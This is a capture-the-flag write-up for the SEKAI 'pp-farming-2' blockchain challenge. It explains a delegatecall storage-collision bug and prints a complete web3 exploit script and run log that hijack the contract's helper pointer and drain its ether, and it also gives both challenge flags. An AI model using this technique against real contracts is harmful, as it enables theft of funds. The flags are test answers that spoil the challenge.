Category: Blockchain
Flag: SEKAI{pr0xie5_4r3_h4rD_2_3t4k3}
Description: I fixed the issue. I think…
The attachment was an AES-encrypted ZIP. The note gave the password from the first challenge, so I tested it with 7z before looking at the contracts.
7z t -p'SEKAI{3Z_re3ntr4ncy_atTack5}' '/home/rei/CTF/pp-farming-2/blockchain_pp-farming-2.zip'
Testing archive: /home/rei/CTF/pp-farming-2/blockchain_pp-farming-2.zip
--
Path = /home/rei/CTF/pp-farming-2/blockchain_pp-farming-2.zip
Type = zip
Physical Size = 3890
Everything is Ok
Files: 2
Size: 3450
Compressed: 3890
The deployment script creates a PerformancePointHelper and a PerformancePointATM funded with 10 ether. The challenge is solved when the ATM balance is zero.
PerformancePointHelper helper = new PerformancePointHelper();
PerformancePointATM atm = new PerformancePointATM{value: 10 ether}(address(helper));
The ATM stores the helper address in slot 1, because scores is the mapping at slot 0 and performancePointHelper is the next state variable.
mapping(address => uint256) public scores;
address public performancePointHelper;
bool public locked;
The obvious reentrancy path was blocked with a locked modifier, and direct fallback calls to processWithdrawal(address,uint256) were rejected. But the fallback still delegatecalled any other selector into the helper.
fallback() external payable {
address _impl = performancePointHelper;
bytes4 selector = msg.sig;
// Block withdrawing without proxy
bytes4 initSelector = bytes4(keccak256("processWithdrawal(address,uint256)"));
require(selector != initSelector, "processWithdrawal blocked");
assembly {
let ptr := mload(0x40) // Get free memory pointer
calldatacopy(ptr, 0, calldatasize()) // Copy calldata to memory
let success := delegatecall(gas(), _impl, ptr, calldatasize(), 0, 0) // Delegatecall
returndatacopy(ptr, 0, returndatasize()) // Copy return data
if iszero(success) {
revert(ptr, returndatasize()) // Revert if delegatecall failed
}
return(ptr, returndatasize()) // Return data if successful
}
}
That made PerformancePointHelper.setATM(address) dangerous. A normal call to setATM changes atm in the helper, but a delegatecall through the ATM writes to the ATM’s slot 1 instead. Slot 1 is performancePointHelper, so calling setATM(evil) through fallback replaces the helper implementation.
function setATM(address _atm) public {
atm = _atm;
}
The replacement helper kept the same first three storage variables so the layout matched the original helper, and its processWithdrawal sent address(this).balance. Under delegatecall, address(this) is the ATM, so a single withdrawal drains the whole contract instead of the caller’s score.
import os
from solcx import compile_source, set_solc_version, install_solc
from web3 import Web3
ATM_ABI = [
{"inputs": [], "name": "withdrawPP", "outputs": [], "stateMutability": "nonpayable", "type": "function"},
{"inputs": [{"internalType": "address", "name": "_to", "type": "address"}], "name": "donatePP", "outputs": [], "stateMutability": "payable", "type": "function"},
{"inputs": [], "name": "isSolved", "outputs": [{"internalType": "bool", "name": "", "type": "bool"}], "stateMutability": "view", "type": "function"},
{"inputs": [], "name": "performancePointHelper", "outputs": [{"internalType": "address", "name": "", "type": "address"}], "stateMutability": "view", "type": "function"},
]
EVIL_SOURCE = r'''
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
contract EvilHelper {
uint256 id_number;
address public atm;
bool public helping;
function processWithdrawal(address payable recipient, uint256) external returns (bool) {
(bool success, ) = recipient.call{value: address(this).balance}("");
return success;
}
}
'''
def require_env(name: str) -> str:
value = os.environ.get(name)
if not value:
raise SystemExit(f"Missing required env var: {name}")
return value
def send(w3, account, tx):
tx.setdefault("from", account.address)
tx.setdefault("nonce", w3.eth.get_transaction_count(account.address))
tx.setdefault("chainId", w3.eth.chain_id)
if "maxFeePerGas" not in tx and "maxPriorityFeePerGas" not in tx:
try:
tx.setdefault("gasPrice", w3.eth.gas_price)
except Exception:
pass
if "gas" not in tx:
tx["gas"] = int(w3.eth.estimate_gas(tx) * 1.3)
signed = account.sign_transaction(tx)
tx_hash = w3.eth.send_raw_transaction(signed.raw_transaction)
receipt = w3.eth.wait_for_transaction_receipt(tx_hash)
if receipt.status != 1:
raise RuntimeError(f"Transaction failed: {tx_hash.hex()}")
return receipt
def main():
rpc_url = require_env("RPC_URL")
private_key = require_env("PRIVATE_KEY")
atm_address = Web3.to_checksum_address(require_env("ATM_ADDRESS"))
w3 = Web3(Web3.HTTPProvider(rpc_url, request_kwargs={
"timeout": 30,
"headers": {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36"},
}))
account = w3.eth.account.from_key(private_key)
print("player", account.address)
print("atm", atm_address)
print("initial_balance", w3.eth.get_balance(atm_address))
try:
set_solc_version("0.8.20")
except Exception:
install_solc("0.8.20", show_progress=False)
set_solc_version("0.8.20")
compiled = compile_source(EVIL_SOURCE, output_values=["abi", "bin"])
_, iface = next(iter(compiled.items()))
evil_contract = w3.eth.contract(abi=iface["abi"], bytecode=iface["bin"])
receipt = send(w3, account, evil_contract.constructor().build_transaction({"from": account.address}))
evil = Web3.to_checksum_address(receipt.contractAddress)
print("evil", evil)
atm = w3.eth.contract(address=atm_address, abi=ATM_ABI)
selector = Web3.keccak(text="setATM(address)")[:4]
calldata = selector + bytes.fromhex(evil[2:].rjust(64, "0"))
send(w3, account, {"to": atm_address, "data": calldata})
print("helper_after_overwrite", atm.functions.performancePointHelper().call())
send(w3, account, atm.functions.donatePP(account.address).build_transaction({"from": account.address, "value": 1}))
send(w3, account, atm.functions.withdrawPP().build_transaction({"from": account.address}))
final_balance = w3.eth.get_balance(atm_address)
solved = atm.functions.isSolved().call()
print("final_balance", final_balance)
print("isSolved", solved)
if not solved:
raise SystemExit("Exploit transaction completed but challenge is not solved")
if __name__ == "__main__":
main()
The remote instance used 0x20FbBFb0C06c64939560E0232BAE92931aaaC4Ff as the ATM. The exploit deployed the malicious helper at 0xfCbd6b0693907F450509128e8701f037D74a7bA8, changed the ATM helper pointer to that address, donated 1 wei, and called withdrawPP().
RPC_URL='https://eth.chals.sekai.team/wamLUbTHyhRUYRzQxJGWvbuu/main' PRIVATE_KEY='<redacted>' ATM_ADDRESS='0x20FbBFb0C06c64939560E0232BAE92931aaaC4Ff' python solve_remote.py
player 0x2eeF6349B0E355b3A2Fe55F7777720d1e4481748
atm 0x20FbBFb0C06c64939560E0232BAE92931aaaC4Ff
initial_balance 10000000000000000000
evil 0xfCbd6b0693907F450509128e8701f037D74a7bA8
helper_after_overwrite 0xfCbd6b0693907F450509128e8701f037D74a7bA8
final_balance 0
isSolved True
After isSolved returned true, pressing the challenge’s get-flag button returned SEKAI{pr0xie5_4r3_h4rD_2_3t4k3}.